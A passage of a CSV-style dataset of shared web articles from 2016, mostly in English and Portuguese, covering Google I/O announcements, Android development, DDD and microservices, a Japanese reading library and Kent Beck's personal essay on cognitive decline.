behind Swift is already starting to leak into other languages, especially in the area of nullability. I know that Swift isn't without its share of flashy bolt-on weapon systems . Comparing C# to Swift when it comes to third-party library support is like comparing Iron Man's crazy spin laser and hand repulsors to any weapon Captain America has ever wielded (at least in the movies). But who wins in the ultimate battle? If you ask me, I think Captain America and Iron Man are both good guys who should be augmenting each other's strengths and covering their corresponding weaknesses. I bet the *SPOILER* real big bad *SPOILER* is hiding behind the scenes and making them battle it out. As with all things in software engineering there is never a clear winner. There are drawbacks and advantages to the structure, approach, and capabilities of all languages and constructs. These drawbacks and advantages tend to fit or not fit for solutions to given problems. Good ideas tend to bubble to the top (i.e. delayed execution, in-language async, nullability enforcement, mutability enforcement), whereas bad ideas tend to settle to the bottom (i.e. garbage collection in Objective-C). Swift is so new, the in-language concepts so hardened, the community so outspoken and willing to move quickly, that the verdict is not yet out. C# has been around so long, has so much weaponry, and is currently so incredibly flexible across even dynamic and functional concepts. There is no way C# doesn't continue to flex with some of the core concepts surfacing from the Swift and Kotlin worlds. Who knows, one day you just might see Iron Man wielding Captain America's shield. Just like C# currently wields dynamic and functional constructs, C# could well start to take on deep nullability constructs as they exist in Swift. At the end of the day, we all win as these 2 languages battle, take on, and wield the best parts of each other to surface great solutions to real software problems.",en
1463570143,CONTENT SHARED,-3790313320969344469,2833428826475063405,-4682146548136722685,,,,HTML,https://chokochoko.wordpress.com/the-great-library/,The Great Library,"hen learning Japanese, reading often makes up the bulk of it. Needless to say, by reading a lot of different material, you can learn and pick up various new words and phrases. Learning words in context this way is useful since you can see the actual word 'in action'. I often come across many interesting reading articles on either the internet, magazines, my textbooks, news clippings etc. Here in The Great Chokochoko Library you'll find articles I've collected over time (or written myself). Each article is either one or two pages long, written in a clear and easy to read format (easy levels feature big fonts) and includes a handy word list. The articles are arranged according to difficulty level and cover a range of different subjects such as culture, history, biology etc. Be sure to check back often as the collection will grow and more reading articles will be added each time. All articles are ofcourse in high quality PDF and print-ready. Choose your difficulty level first, browse for your favorite article, then click to open or right-click to download. I love having a nice library to turn to, when I need something short, that I can grab, and read on the go Honestly, I think this was a great idea. I read all of the ones for N3, and one for N2 , ( 人類最初の文字 - 楔形文字), which seemed a little too easy, but it might just be me. I did have to look up　収穫 (harvest), which wasn't included in the handy tango list, though. Thanks, glad you liked it! The feedback is appreciated so I can improve it. Yea, I scrapped 収穫 because this way, the tango lined up perfectly haha. And I thought it was a somewhat easy word. I'll work on adding more challenging articles soon. Isn't it?! I'll keep on adding more material including lots of 'kiddie' beginner material Hey Jacki, how're you doing? That's great that you're starting your intermediate semester upcoming semester. Where are you studying Japanese? And what kind of course is that? Well just click the N2 intermediate option for intermediate reading material To provide all different level Japanese readers with reading material in one place I am loving these they are great! so useful, I was just wondering if this is all of them because the article number in the top corner doesn't seem to go in order, I can only download #4,#5,#14,#15 etc. Is there 1-3 anywhere? Thanks again, not complaining just loving these and wanting more! Chan, you've probably never had/seen a book or volume divided into 2 parts, 上 refers to part 1 and 下 refers to part 2. You'll learn that when your Japanese advances. You're welcome Hey there. I just wanted to say I'm really pleased I found this site. It would have been really useful back before the JLPT in December This is exactly the sort of stuff I've been trawling the internet for.",en
1463570722,CONTENT SHARED,-5151030094059373567,3609194402293569455,6205954246845542847,,,,HTML,http://startupi.com.br/2016/05/um-mundo-sem-barreiras-linguisticas-atraves-da-tecnologia-wearable/,Um mundo sem barreiras linguísticas através da tecnologia wearable - Startupi,"Da convergência da tecnologia wearable + tradução automática, surgiu o Pilot , o primeiro fone de ouvido inteligente do mundo, que traduz uma conversa em tempo real de pessoas que falam línguas diferentes. Ficar confuso durante uma viagem por não dominar outro idioma, foi por esse motivo que nasceu a ideia do Pilot. Andrew Ochoa, Fundador e CEO, conta que teve a ideia de criar o produto quando conheceu uma francesa. Veja mais detalhes no vídeo abaixo: Ao todo foram dois anos de pesquisa e desenvolvimento para mudar a maneira como nos comunicamos usando as mais recentes tecnologias em reconhecimento de voz, tradução automática e tecnologia wearable. O produto é d estinado para os viajantes, profissionais internacionais e nômades digitais. O Pilot inclui um segundo fone para transmissão de música sem fio e um aplicativo móvel, que alterna entre os idiomas. Para o fundador, é um sonho de uma vida sem restrições, livre de barreiras linguísticas. O fone de ouvido Pilot, que fornece a experiência em tradução integral , será lançado em 2017. O produto custará U$ 299 e irá incluir alguns idiomas. Idiomas adicionais estarão disponíveis através de pacotes de idiomas para download. As pré-encomendas já podem ser feitas pelo site.",pt
1463571546,CONTENT SHARED,-3468529816757552062,3302556033962996625,-8839768043054610666,,,,HTML,http://www.copperykeenclaws.com/setting-up-an-android-contentprovider-with-a-join/,Setting up an Android ContentProvider with a join,"Android's ContentProvider and related APIs allow for joins, but you usually just see simple single-table reads being used. I assume most people just create big denormalized tables in Android, but I still wanted to try out a content provider based on a join. In this example, I have just two tables, sport and team , with these columns. sport : _ID, name, periodType, updatedDt team : _ID, name, sportId, updatedDt String tables = ""team LEFT OUTER JOIN sport ON (team.sportId = sport._id)""; queryBuilder.setTables(tables); The full code for this, by the way, is up at using the android-support-v4 compatibility package. In my TeamProvider , extending ContentProvider , I use SQLiteQueryBuilder and set the join with: mColumnMap.put(""team.name"", ""team.name AS name""); mColumnMap.put(""sport.name"", ""sport.name AS sport_name""); The tables have some column names that are the same, like _ID and name . Therefore, a projection map is needed to create aliases for the columns. The columns need to be referenced with their respective tables, eg., table.name , sport.periodType . For aliases, I just set the team columns to their simple form, eg. name , but added the table name plus underscore to the sport columns, so sport.name maps to sport_name (it might have been clearer if I had used the same convention for both). queryBuilder.setProjectionMap(mColumnMap); Adding values to the projection map looks like this (using literals for clarity): String[] uiBindFrom = { ""name"", ""sport_name"") }; Then the map is set on the query builder with Cursor cursor = getActivity().getContentResolver().query(Uri.withAppendedPath(TeamProvider.CONTENT_URI, String.valueOf(teamId)), projection, null, null, null); To set up a cursor, the projection in the onCreateLoader() method of your LoaderManager implementation should use the table-qualified column names, eg. sport.name . However, use the aliases when you're retrieving the results. The SimpleCursorAdapter that is set up as the list adapter, for example, binds the ui to the aliases of the team and sport name column (again with literals): For the detail fragment, the cursor is set with a standard cursor set-up: where the projection is all the table-qualified column names from each table. However, results need to be retrieved later from the cursor by alias, eg. cursor.getColumnIndex(""sport_name"") . Since we're using an outer join, it's fine if a team does not have a sport. They'll just have a null sport name and period type. That's it. Maybe there are easier ways to accomplish the same thing (let me know!), but this isn't too hard. Android does have a CursorJoiner class but I didn't see it used much, and its API is more limited than a regular Cursor.",en
1463573530,CONTENT SHARED,-1444385929353415304,-3247191585239311338,-248304455446963073,,,,HTML,https://www.infoq.com/br/news/2016/05/ddd-microservices-evans,Domain Driven Design e Microservices,"No QCon Londres 2016, Eric Evans, autor de Domain Driven Design, Tackling Complexity at the Heart of Software , defendeu o uso do conceito de Domain Driven Design (DDD) para reduzir a complexidade da linguagem ubíqua em ambientes voltados para microservices. Linguagens ubíquas entre equipes apresentam questões particulares no que diz respeito ao gerenciamento de um ambiente voltado para microservices. As equipes desenvolverão suas próprias linguagens ubíquas e codificarão com o significado adquirido dentro do escopo dos próprios domínios. No entanto, os conceitos dessas linguagens ubíquaa não mantêm a consistência além do contexto da equipe. Uma definição do significado de ""cliente"" para uma equipe pode ter outro significado para outra equipe, gerando uma complexidade desnecessária. Cada linguagem evolui dentro do escopo da equipe, o que resulta em diferentes definições de conceitos entre equipes. Geralmente, definições diferentes existirão entre uma equipe e outra. Evans falou sobre os erros e mal-entendidos de requisitos cometidos no código, resultando em erros e código ruim. Embora isso aconteça de vez em quando, o pior cenário ocorre quando esses erros respingam nos outros microservices independentes. Evans diferencia o que chama de ""grande bola de lama"", na qual as questões sobre microservice irão se estender através do ambiente. Evans apresentou três ferramentas de DDD que podem auxiliar no gerenciamento de um ambiente microservice: context map, anti-corruption layer (ACL) e interchange context. O context map representa os caminhos de comunicação entre os microservices e sugere interações apropriadas entre as equipes de microservices. Uma vez que essa análise está madura, a equipe pode escolher ser dependente de uma linguagem de domínio de outra equipe, no qual um ACL pode fazer sentido. Uma responsabilidade da ACL é traduzir conceitos externos para um modelo interno com a intenção de fornecer baixo acoplamento entre os domínios. Em uma situação quando duas equipes precisam mais do que uma relação de parceria, o interchange context é mais indicado, pois fornece uma camada para ambas as equipes discutirem o significado das palavras e traduzirem as linguagens dos microservices. A migração de código de um sistema monolítico para um sistema baseado em microservices desloca a complexidade contextual do código para o espaço entre os serviços. Agora, a interação entre os microservices possui a mesma lógica que existia em um código fácil de ler e depurar. Esse novo contexto deve ser gerenciado, ou todo o sistema pode transformar-se no que Evans chama de ""grande bola de lama"". Evans sugere projetar cada microservice como um contexto limitado do DDD. Isso fornecerá um limite lógico dos microservices dentro do sistema, tanto em relação à funcionalidade, quanto para a linguagem ubíqua. Cada equipe independente se torna responsável por uma parte definida do sistema. Como resultado, o código produzido pela equipe é mais fácil de entender e manter.",pt
1463579003,CONTENT SHARED,-4265002939801511319,-8020832670974472349,-1122206178457491499,,,,HTML,https://m.facebook.com/notes/kent-beck/me-an-algernon/1084118634954333,Me an' Algernon,"I'm afraid of publishing this for two reasons: Every brain ages differently. I've seen 70-year-olds who are sharp as a tack and 40-year-olds who can't code a lick any more. Don't assume that gray/bald/wrinkles correlates with programming skill. This is my story. I'm not an idiot. My programming workflow is still smooth. I still see big picture patterns before most people. Somewhere in between, though, I've lost something. <spoiler alert> When I was about 10 I read Flowers for Algernon, the story of a mentally challenged man who is subjected to an IQ-increasing treatment that only works temporarily. The story is written as a diary, with spelling and vocabulary tracking his changing mental abilities. As a child, the story was exciting because I could see how much smarter I was going to be and I could see all the new ways I could think and the worlds that would open up. When I re-read Flowers for Algernon recently I was just sad. The second half of the story, where his mind is going away, is brutal. He can remember how smart he was but knows it's gone for good. I'm living through something eerily similar. Over the past 5-7 years I've noticed a cluster of neurological symptoms-short-term memory loss, desire for social isolation, face blindness (seeing someone I know quite well but not having any sense of recognition), inability to deal with complexity, and social disinhibition (pissing people off unnecessarily and not being able to understand what I did wrong). They affect my coding and my relationships. After years of waffling and knowing something was up and watching it get worse I finally went to the Mayo Clinic to get a complete workup. After being poked, prodded, scanned, and bled I got good-ish news: it's none of the fatal stuff, no tumor, no dementia. For reasons no one understands, some of the people who present with early fronto-temporal dementia symptoms never progress. I seem to be in that camp-no nasty mutations, no visible brain atrophy. I have to get checked annually, but this is my new normal. I regret that I couldn't have brought my forty-year-old brain to Facebook. I could have written some programs here. On the other hand, I was a self-centered, manipulative bastard so I guess it's all tradeoffs. The road ahead is uncertain. The cause and treatment of front-temporal phenocopy (i.e. ""looks like but isn't"") is unknown territory. As much as we've collectively learned about medicine, it's humbling (and a little frustrating) to be met with shrugs, especially when the condition threatens my livelihood and identity. One theory is that this is the long-run result of PTSD, which I qualify for. Addressing that is painful, lengthy, expensive, and uncertain. Southern Oregon is not exactly bristling with expert practitioners, either, so for the moment I'm just doing my best with what I have left. Why write and publish something so personal and painful? Because one in I-don't-know-how-many of you are struggling with something. I hope you'll get help. I had a couple of really panicky months while results were trickling in. I'm not ""better"", but I'm better off knowing. I can adapt my work. I can be patient with other people who are reacting to my additional weirdness. I really miss programming at a high level, but maybe I'll claw it back. I've already done so once, but that's a story for another day. Fortunately for me, young engineers are failing to invent new young-engineer mistakes. I can keep telling them whatever I did to overcome whatever they're doing back when I was doing it. Coaching FTW. Thank you for sharing.",en
1463583345,CONTENT SHARED,7168347449326627154,-1443636648652872475,-4882016510199642292,,,,HTML,http://www.androidpolice.com/2016/05/17/nyt-google-to-announce-alexa-competitor-called-google-home-at-io/,NYT: Google To Announce Alexa Competitor Called 'Google Home' At I/O,"Google I/O is just hours away, and we're expecting all sorts of wonderful things to be announced. For example, the rumored competitor to Amazon's Alexa known internally Project Chirp. The New York Times is now reporting that Chirp will be called Google Home when it is unveiled. There isn't much information about how Google Home will work. The product will leverage Google's impressive natural language processing capabilities to answer questions and perform simple tasks. You can think of it like Google voice commands from your phone, but for your whole house. Amazon already has a sizable lead in this product category, having launched the Echo in late 2014. It has since sold a few million of them, and recently announced more Alexa-enabled devices . While Google Home will be announced at I/O, it won't go on sale right away. The Times reports that Google is planning for a fall launch.",en
1463592284,CONTENT SHARED,-8669770849634489893,-5868110530814399805,-4946512329747462897,,,,HTML,http://www.forbes.com/sites/greatspeculations/2016/05/17/heres-how-loreal-plans-to-continue-its-digital-innovation/,Here's How L'Oréal Plans To Continue Its Digital Innovation,"L'Oreal is probably the most digitally advanced beauty company working on several initiatives to bring technology to its beauty products. The company recently announced a strategic investment in ""Founders Factory"", a multi sector digital accelerator and incubator, which will allow L'Oreal to deeply connect itself to a global ecosystem of [...]",en
1463600500,CONTENT SHARED,-8762137947059829459,-5823562314929634489,-7617128124057678820,,,,HTML,https://developers.googleblog.com/2016/05/google-io-2016-develop-grow-earn.html,"Google I/O 2016: Develop, Grow & Earn","Earlier today, we kicked off our 10-year celebration of hosting developer events with Google I/O in front of over 7,000 developers at Shoreline Amphitheatre, and with millions of other viewers on the I/O live stream around the world. During the keynote, we had a number of announcements that featured tools for Android, iOS, and mobile Web developers, showcased the power of machine learning for delivering better user experiences, and introduced a previewed platform for high quality, mobile virtual reality. And over the next three days at the festival, we'll continue to focus on things that matter to you: Develop , to build high quality apps; Grow & Earn , to find high quality users, increase user engagement and create successful businesses; and What's Next , a look at new platforms for future growth. Develop, Grow & Earn with Firebase Those core themes are best represented in our launch of Firebase . As shared during the keynote, we've significantly expanded Firebase beyond a mobile backend to include brand new features, like mobile analytics, growth tools, and crash reporting. Firebase is now a suite of 15 features and integrations designed to help you develop your app, grow a user base and earn money. At the heart of the suite is a new mobile analytics tool we built from the ground up called Firebase Analytics. Available for free and unlimited usage, Firebase Analytics is inspired by our decade-long experience running Google Analytics, but designed specifically for the unique needs of apps. Let's also take a closer look at the other major developer news at I/O: Develop Android N Developer Preview 3 - Get a look at the next release of Android N focused on performance, productivity and security. Even better, Android N is now ready to test on primary phones or tablets. Android VR - A rework of the entire Android stack in N to tailor it to provide high quality mobile VR experiences. Android Studio 2.2 Preview - Our new preview focuses on speed, smarts, and Android platform support. This major update includes a completely rewritten, feature-rich Layout Designer. Android Wear 2.0 : A developer preview of the biggest platform update since we launched Android Wear two years ago. It includes updated design guidelines and APIs that make the watch even more useful for watch faces, messaging, and fitness. Apps on the watch can now be standalone, with direct network access to the cloud. Recording APIs : enables Android TV app developers and content providers to bring recording functionality to live channels. Google Play services 9.0 - In addition to Firebase, the next release includes new API updates for Ads, Nearby and Play Games services. Android Pay APIs - A new set of tools that includes support for mobile web, Instant Apps, Save to Android Pay and an API for issuers. We'll have more to share during the session ""Android Pay everywhere: New developments"" later today at 2:00 PM PT Stage 1 Hercules. Progressive Web Apps - A new set of capabilities to build app-like mobile websites that work reliably on the worst network connections and can send notifications to re-engage users. Credentials API - The latest version of Chrome now supports the Credential Management API, allowing sites to interact with the browser's credential manager to improve the sign in experience for users. The API enables users to sign in with one tap and lets them automatically sign back in when returning to the site. Accelerated Mobile Pages - Check out the AMP project, an open source initiative that is helping publishers create mobile-optimized content once and have it load instantly everywhere. Grow & Earn Reach a global audience on Google Play - New and powerful tools to help you grow your business: discover and join beta tests from the Play Store (including a new Early Access section), discover collections of complementary apps to help users solve complex tasks, see how your app runs on real devices with a new pre-launch report, get insights and benchmarks for reviews and user acquisition, monitor your app stats and get notifications when your updates are live with the new Play Console app, and more. Android Instant Apps - With Android Instant Apps, users can open your app simply by tapping on a link, even if they don't have the app installed. Instant Apps is compatible with Android Jelly Bean and later, reaching over a billion users. We're working with a small set of developers now, and we'll be gradually expanding access. Building for billions - New resources to help you optimize your app and get your business ready to serve over a billion Android users around the world. Universal App Campaigns - Last year, we introduced Universal App Campaigns as a simple and powerful way to surface apps to the billions of users across Google Play, Search, YouTube, and the Google Display Network. We're building on this success by expanding onto iOS and by helping developers use insights to optimize for lifetime value. See our new apps best practices . What's Next Awareness API : We'll be previewing a new, unified sensing platform that enables apps to be aware of all aspects of a user's context, while managing system health for you. Learn more at the ""Introducing Awareness API: an easy way to make your apps context aware"" session later today at 3:00 PM PT in Stage 5 Libra. Daydream - We'll have more to share on how developers can start building Daydream apps during the ""VR at Google"" session tomorrow (May 19) at 9:00 AM PT in the Amphitheatre and livestreamed . Chromebooks - Hear from the team firsthand what's new with Chromebooks tomorrow (May 19) at 11:00 AM PT in Stage 8 Crater. The Mobile Web - We'll share what we're doing to improve the mobile web experience for developers and users tomorrow (May 19) at 2:00 PM PT in the Amphitheatre.",en
1463602049,CONTENT SHARED,-4509487968959834430,6013226412048763966,5768100664019329427,,,,HTML,http://hbrbr.com.br/o-valor-de-seu-trabalho-de-coaching-vai-depender-de-suas-habilidades-de-acompanhamento-2/,O valor de seu trabalho de coaching vai depender de suas habilidades de acompanhamento - Harvard Business Review Brasil,"Independente do quanto uma sessão de coaching possa parecer bem-sucedida, enquanto em andamento, se ela não levar a uma mudança após ter sido concluída, ele não foi eficaz. Infelizmente é grande o número de gestores que não dão continuidade, desperdiçando o tempo importante que investiram nessa atividade . É possível tornar o processo mais produtivo ao se adotar as seguintes práticas após cada sessão. Utilize essa lista de dicas e perguntas para ajudá-lo a monitorar o progresso de todos de sua equipe, para quem você está atuando como coach. Ela lhe dará subsídios significativos para as reuniões de acompanhamento assim como nos intervalos entre as sessões. Logo após a reunião: Faça anotações. Você não se lembrará de tudo que vê, ouve e pensa sobre o progresso de seus coachees , então anote tudo em um local próprio. Considere também utilizar um template padrão para armazenar essa informação. Boas anotações lhe permitirão fornecer feedback relevante à medida que vai progredindo. Após cada sessão, pergunte-se: O que posso fazer para dar assistência ao desenvolvimento desse coachee no intervalo entre esta sessão de coaching e a próxima? O que aprendi desta sessão que não sabia antes de começar? O que a pessoa para quem estou atuando como coach aprendeu? Quais mensagens-chave foram reforçadas na sessão? De modo contínuo: Se ainda não são, essas tarefas devem se tornar parte da rotina de sua prática de gestão. Reserve um momento em sua agenda para trabalhar nas tarefas que tem maior dificuldade em lembrar ou concluir. Observe sinais de crescimento . A fim de fornecer um feedback relevante, é preciso saber o que está acontecendo. Faça um esforço deliberado para observar os tipos de interações ou tarefas que seus coachees priorizaram em suas sessões de coaching . Se você atuar na empresa, esteja em contato diretamente. Institua uma política explícita de portas abertas que encoraje seus coahees a procurá-lo se tiverem dúvidas. Saber que podem buscar ajuda pode motivá-los a perseverar quando se sentem emperrados. Comunique o impacto . À medida que observa a mudança das pessoas comunique o impacto de seu crescimento de forma explícita. Ouvir diretamente de você aumentará sua motivação (e as deixará satisfeitas). Fique atento a mudanças no relacionamento . Preste atenção à dimensão emocional de suas interações. Se perceber uma mudança que suscite inquietação, intervenha logo. Ainda que não possa fazer nada para ajudar, sua preocupação provavelmente será apreciada. Faça uma auto avaliação . Avalie periodicamente seu próprio desempenho como coach ao se fazer essas duas perguntas: Estou atendendo às necessidades de cada pessoa em minha equipe? Trate o seu papel com uma mentalidade de tentativa e erro e mostre flexibilidade para fazer ajustes no decorrer do percurso. Periodicamente entre em contato direto com todos para quem está atuando como coach para saber o que está funcionando e o que não está - mas confie no seu taco. Estou cumprindo minha obrigação? Coaching é uma via de mão dupla, então seja honesto consigo mesmo em relação a estar ou não atrapalhando o progresso das pessoas ou passando mensagens confusas quanto às suas expectativas. Faça o que puder para tornar todos em sua equipe mais bem-sucedidos. É claro, a tarefa de acompanhamento nunca acaba: oferecer apoio e dar a conhecer e justificar o que se passa são as tarefas perpétuas de um gestor. À medida que se sentir mais à vontade com o coaching , pode ser que não precise mais de uma lista como essa. Mas tenha a lista por perto caso precise se relembrar. Esse artigo foi adaptado a partir da série HBR Guide to Coach da Harvard Business Review.",pt
1463602941,CONTENT SHARED,-7492067511846042603,-9016528795238256703,-8010724457752282327,,,,HTML,http://android-developers.blogspot.com.br/2016/05/whats-new-in-android-n-release-virtual-reality-android-studio.html,"What's new in Android: the N-Release, Virtual Reality, Android Studio 2.2 and more | Android Developers Blog","Posted by Dave Burke, VP of Engineering In the past year, Android users around the globe have installed apps-built by developers like you-over 65 billion times on Google Play. To help developers continue to build amazing experiences on top of Android, today at Google I/O , we announced a number of new things we're doing with the platform, including the next Developer Preview of Android N, an extension of Android into virtual reality, an update to Android Studio, and much more! Android N: Performance, Productivity and Security With Android N, we want to achieve a new level of product excellence for Android, so we've carried out some pretty deep surgery to the platform, rewriting and redesigning some fundamental aspects of how the system works. For Android N, we are focused on three key themes: performance, productivity and security. The first Developer Preview introduced a brand new JIT compiler to improve software performance, make app installs faster, and take up less storage. The second N Developer Preview included Vulkan , a new 3D rendering API to help game developers deliver high performance graphics on mobile devices. Both previews also brought useful productivity improvements to Android, including Multi-Window support and Direct Reply . Android N also adds some important new features to help keep users safer and more secure. Inspired by how Chromebooks apply updates, we're introducing seamless updates , so that new Android devices built on N can install system updates in the background. This means that the next time a user powers up their device, new devices can automatically and seamlessly switch into the new updated system image. Today's release of Android N Developer Preview 3 is our first beta-quality candidate, available to test on your primary phone or tablet. You can opt in to the Android Beta Program at android.com/beta and run Android N on your Nexus 6, 9, 5X, 6P, Nexus Player, Pixel C, and Android One (General Mobile 4G). By inviting more people to try this beta release, developers can expect to see an uptick in usage of your apps on N; if you've got an Android app, you should be testing how it works on N, and be watching for feedback from users. VR Mode in Android Android was built for today's multi-screen world; in fact, Android powers your phone, your tablet, the watch on your wrist, it even works in your car and in your living room, all the while helping you move seamlessly between each device. As we look to what's next, we believe your phone can be a really powerful new way to see the world and experience new content virtually, in a more immersive way; but, until this point, high quality mobile VR wasn't possible across the Android ecosystem. That's why we've worked at all levels of the Android stack in N-from how the operating system reads sensor data to how it sends pixels to the display-to make it especially built to provide high quality mobile VR experiences, with VR Mode in Android. There are a number of performance enhancements designed for developers, including single buffer rendering and access to an exclusive CPU core for VR apps. Within your apps, you can take advantage of smooth head-tracking and stereo notifications that work for VR. Most importantly, Android N provides for very low latency graphics; in fact, motion-to-photon latency on Nexus 6P running Developer Preview 3 is <20 ms, the speed necessary to establish immersion for the user to feel like they are actually in another place. We'll be covering all of the new VR updates tomorrow at 9AM PT in the VR at Google session, livestreamed from Google I/O. Android Instant Apps: real apps, without the installation We want to make it easier for users to discover and use your apps. So what if your app was just a tap away? What if users didn't have to install it at all? Today, we're introducing Android Instant Apps as part of our effort to evolve the way we think about apps. Whether someone discovers your app from search, social media, messaging or other deep links, they'll be able to experience a fast and powerful native Android app without needing to stop and install your app first or reauthenticate. Best of all, Android Instant Apps is compatible with all Android devices running Jellybean or higher (4.1+) with Google Play services. Android Instant Apps functionality is an upgrade to your existing Android app, not a new, separate app; you can sign-up to request early access to the documentation. Android Wear 2.0: UI changes and standalone apps This morning at Google I/O, we also announced the most significant Android Wear update since its launch two years ago: Android Wear 2.0. Based on what we've learned from users and developers, we're evolving the platform to improve key watch experiences: watch faces, messaging, and fitness. We're also making a number of UI changes and updating our design guidelines to make your apps more consistent, intuitive, and beautiful. With Android Wear 2.0, apps can be standalone and have direct network access to the cloud via a Bluetooth, Wi-Fi, or cellular connection. Since your app won't have to rely on the Data Layer APIs , it can continue to offer full functionality even if the paired phone is far away or turned off. You can read about all of the new features available in today's preview . Android Studio 2.2 Preview: a new layout designer, constraint layout, and much more Android Studio is the quickest way to get up and running with Android N and all our new platform features. Today at Google I/O, we previewed Android Studio 2.2 - another big update to the IDE designed to help you code faster with smart new tooling features built in. One of the headline features is our rewritten layout designer with the new constraint layout. In addition to helping you get out of XML to do your layouts visually, the new tools help you easily design for Android's many great devices. Once you're happy with a layout, we do all the hard work to automatically calculate constraints for you, so your UIs will resize automatically on different screen sizes . Here's an overview of more of what's new in 2.2 Preview (we'll be diving into more detail this update at 10AM PT tomorrow in ""What's new in Android Development Tools"" , livestreamed from Google I/O): Speed: New layout designer and constraint layout, Espresso test recording and even faster builds Smarts: APK analyzer, Layout inspector, expanded Android code analysis and IntelliJ 2016.1 Platform Support: Enhanced Jack compiler / Java 8 support, Expanded C++ support with CMake and NDK-Build, Firebase support and enhanced accessibility This is just a small taste of some of the new updates for Android, announced today at Google I/O. There are more than 50 Android-related sessions over the next three days; if you're not able to join us in person, many of them will be livestreamed, and all of them will be posted to YouTube after we're done. We can't wait to see what you build!",en
1463607275,CONTENT SHARED,-538948733779286129,-1032019229384696495,2055210841846036435,,,,HTML,https://google.github.io/physical-web/,The Physical Web,"What is this? The Physical Web is an open source approach to unleash the core superpower of the web: interaction on demand. People should be able to walk up to any smart device - a vending machine, a poster, a toy, a bus stop, a rental car - and not have to download an app first. Everything should be just a tap away. We're developing it out in the open as we do all things related to the web. While Google is creating an initial implementation , we hope others join in as well. Why is this important? The number of smart devices is going to explode, and the assumption that each new device will require its own application just isn't realistic. We need a system that lets anyone interact with any device at any time. The Physical Web isn't about replacing native apps: it's about enabling interaction when native apps just aren't practical. How does this change things? Once any smart device can have a web address, the overhead of a dedicated app is no longer required for simple interactions. The Physical Web approach unlocks use cases that would never be practical if a dedicated app were required: A cat collar can let you call to find the owner A bus can tell you its next stop A parking meter can let you pay using your phone and the cloud Any store, no matter how small, can offer an online experience when you walk in A shared car service can broadcast a signup page, allowing you to immediately drive away Industrial equipment can offer diagnostics Each of these examples, taken by itself, is modestly useful. Taken as a whole, however, they imply a vast ""long tail"" where anything can offer information and utility. So many people ask what is the 'killer app' for the Physical Web. That's a bit like asking what is the killer app for the web itself. When any place and object can offer a web page for help, information, configuration, or use, we'll unlock millions of things, rather than a single killer product. What can you build? This Cookbook article shows a wide range of experiences that can be built using the Physical Web. How can I get started? To discover websites associated with objects and locations nearby, try the Physical Web on Chrome for iOS or Android . If you would like to broadcast URLs for others to discover, consult this getting started guide . How does it work? A small utility on the phone scans for URLs that are nearby. We are using the open Eddystone-URL Bluetooth beacon format to find nearby URLs without requiring any centralized registrar. Here is a list of many beacon makers that are already supporting Eddystone. We also support finding URLs through Wifi using mDNS and uPnP. To learn more, visit the project on GitHub .",en
1463617819,CONTENT SHARED,-1995591062742965408,-9016528795238256703,5698124852693708605,,,,HTML,https://firebase.google.com/docs/test-lab/,Firebase Test Lab for Android,"Test your app on devices hosted in a Google datacenter. Firebase Test Lab for Android provides cloud-based infrastructure for testing Android apps. With one operation, you can initiate testing of your app across a wide variety of devices and device configurations. Test results-including logs, videos, and screenshots-are made available in your project in the Firebase console. Even if you haven't written any test code for your app, Test Lab can exercise your app automatically, looking for crashes. Key functions Test on real devices Use Test Lab to exercise your app on physical devices installed and running in a Google data center. Test Lab helps you to find issues that only occur on specific device configurations (for example, a Nexus 5 running a specific Android API level and specific locale settings). Run app tests, even if you haven't written any You can use Robo test to find issues with your app so you can test your app even if you haven't written app tests. Robo test analyzes the structure of your app's user interface and then explores it, automatically simulating user activities. If you have written instrumentation tests for your app, Test Lab can also run those tests. Workflow integration Test Lab is integrated with Android Studio, the Firebase console, and the gcloud command line. You can also use Test Lab with Continuous Integration (CI) systems. How does it work? Test Lab uses devices running in a Google data center to test your app. The devices used for testing are real production devices that are flashed with updated Android API levels or locale settings that you specify so that you can road-test your app against a real-world collection of real devices and device configurations. Devices in a data center Test Lab lets you run Espresso , Robotium , or UI Automator 2.0 instrumentation tests written to exercise your app from the Firebase console, Android Studio , or the gcloud command line interface . You can also use Robo test to automatically exercise your app from the Firebase console or the gcloud command line. Robo test captures logs, creates an ""activity map"" that shows a related set of annotated screenshots, and creates a video from a sequence of screenshots to show you the simulated user operations that it performed. Learn more about Robo test . Implementation path If you are running instrumentation tests, write your app-specific test. When developing instrumentation tests for your app, remember to add the Test Lab screenshot library to your app test project so that you can more easily interpret test results. Choose a test environment and a test matrix. Using a test environment of your choice (the Firebase console, Android Studio, or the gcloud command line interface), define a test matrix by selecting a set of devices, API levels, locales, and screen orientations. Run your tests and review test results. Depending on the size of your test matrix, it may take several minutes for Test Lab to complete your test run. After your test run is complete, you can review test results in the Firebase console. Next steps",en
1463622449,CONTENT SHARED,3041906492387035176,-1387464358334758758,-3101989743624317360,,,,HTML,http://m.tecmundo.com.br/google/104969-whatsapp-google-chegou-chama-allo.htm,O WhatsApp do Google chegou e se chama Allo,"A Google acabou de anunciar durante o evento Google I/O 2016 um aplicativo mensageiro para competir com soluções como WhatsApp, Telegram e Facebook Messenger . Chamado de Allo, ele não substitui o Hangouts, mas utiliza a programação do Assistant para entender mais sobre você. Para saber o que é o Google Assistant, clique aqui. Segundo Erik Kay, diretor na Google, o Allo é um mensageiro inteligente que ""aprende com o tempo"" e torna as suas conversas mais fáceis e produtivas. Por exemplo, caso um amigo seu envie uma foto fofinha de um gato, ele vai entender como você costuma responder e deve sugerir uma frase pronta para você não perder tempo digitando. ""Figurinhas"" também são armazenadas como respostas-padrão com o tempo. Aprendizado O Allo também possui uma solução própria para emoticons e stickers chamada ""Expressions"", que pode ser ativada por pequenos gestos na tela. Algo interessante presente no app é a capacidade de sugerir dicas e tópicos para conversas - ou seja: você não vai ficar sem assunto caso esteja paquerando alguém. Allo Outro ponto em que o Allo funciona integrado com o Assistant é a capacidade de lidar com estabelecimentos comerciais. Por exemplo, se você estiver combinando com seus amigos onde será o jantar da noite, será possível encontrar e reservar mesas diretamente do aplicativo. Para os mais preocupados no que toca à privacidade, o Allo vai competir de frente com apps como WhatsApp e Signal, já que ele oferece encriptação de ponta a ponta para as mensagens. O Allo deve chegar entre agosto e novembro para dispositivos Android e iOS. Abaixo, você vê mais um recurso do mensageiro. Será que o Allo vai conseguir roubar usuários de outros mensageiros? Dê a sua opinião no campo dos comentários. O que você achou do Allo? Comente no Fórum do TecMundo",pt
